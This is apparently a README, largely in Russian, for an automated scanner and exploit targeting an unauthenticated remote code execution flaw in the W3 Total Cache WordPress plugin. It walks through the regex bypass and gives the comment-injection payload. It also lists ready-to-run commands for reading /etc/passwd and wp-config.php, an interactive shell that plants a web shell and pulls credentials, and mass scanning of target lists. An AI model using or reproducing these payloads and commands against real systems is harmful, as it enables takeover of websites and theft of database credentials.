xxconi/cve-2026-27384Автоматизированный сканер и эксплойт для CVE-2026-27384, неаутентифицированное RCE в W3 Total Cache через инъекцию mfunc/eval(). Возможности: автообнаружение, 48 вариантов полезной нагрузки, интерактивная оболочка и пакетное сканирование.
Плагин: W3 Total Cache Слаг плагина:
w3-total-cacheID CVE: CVE-2026-27384 Оценка CVSS: 9.8 (Критический) Вектор CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HТип уязвимости: Неавторизованное произвольное выполнение кода (внедрение кода черезeval()) Затронутые версии: <= 2.9.1 Исправленная версия: 2.9.2 Дата публикации: 24 февраля 2026 г. Исследователь: CODE WHITE GmbH
Функция Dynamic Fragment Caching плагина W3 Total Cache (система mfunc/mclude)
выполняет PHP-код, встроенный в HTML-комментарии, с помощью eval().
Токен W3TC_DYNAMIC_SECURITY, предназначенный для защиты этой функции,
может быть обойдён из-за комбинации нескольких ошибок в коде.
Результат: Без аутентификации, просто отправив комментарий на WordPress, можно выполнить произвольный PHP-код на сервере.
| Поле | Значение |
|---|---|
| ID CVE | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| Тип | Внедрение кода → RCE (CWE-94) |
| Затронутая версия | <= 2.9.1 |
| Исправленная версия | 2.9.2 |
| Аутентификация | Не требуется |
| Взаимодействие пользователя | Не требуется |
| Предусловие | W3TC_DYNAMIC_SECURITY должен содержать метасимволы regex |
Функция Dynamic Fragment Caching W3TC позволяет разработчикам встраивать PHP-код в HTML через специальные теги-комментарии:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC обрабатывает эти теги при обслуживании страницы из кеша:
встроенный PHP выполняется через eval(), результат подставляется вместо блока комментария.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Если токен равен '.', то regex становится <!--\s*mfunc\s*.(.*)--> →
любой одиночный символ подставляется вместо токена.
\s* и \s+| Функция | Шаблон | Поведение |
|---|---|---|
_parse_dynamic() — выполняет | mfunc\s*TOKEN | Принимает 0 пробелов ✅ |
strip_dynamic_fragment_tags_from_string() — очищает | mfunc\s+TOKEN | Требуется минимум 1 пробел ❌ |
Пейлоад атакующего: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
Между mfunc и токеном ПРОБЕЛА НЕТ
strip функция: \s+ → не совпадает → пейлоад ОСТАЁТСЯ
регулярка выполнения: \s* → совпадает → eval() ВЫПОЛНЯЕТСЯ
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (метасимвол regex — любой символ)
│
▼
Атакующий отправляет комментарий:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Шаблон: mfunc\s+[^\s]+ → требуется \s+, пробела нет → ОБХОД ✅
│
▼
Комментарий сохраняется в базе данных, страница кешируется
│
▼
Второй HTTP-запрос → W3TC обслуживает из кеша
_has_dynamic() → mfunc\s*. → 'A' совпадает → возвращает true
│
▼
_parse_dynamic() → preg_replace_callback
Шаблон: mfunc\s*. → 'A' совпадает
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
Без аутентификации можно выполнить произвольный PHP-код на сервере с правами веб-сервера:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Режим | Описание |
|---|---|
auto | Сканировать сайт → найти страницу комментариев → эксплуатировать (по умолчанию) |
exploit | Прямая эксплуатация — с URL для отправки |
shell | Интерактивная оболочка |
detect | Только обнаружение W3TC |
python w3tc_rce.py https://hedef.com
Сканер выполняет:
# команда id
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# читать /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# читать wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# ID записи вручную
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
При открытии оболочки автоматически выполняются whoami, hostname, pwd, uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Команды: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC установлен!
Версия : 2.9.1
Кеш : True
[!] Версия 2.9.1 УЯЗВИМА (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v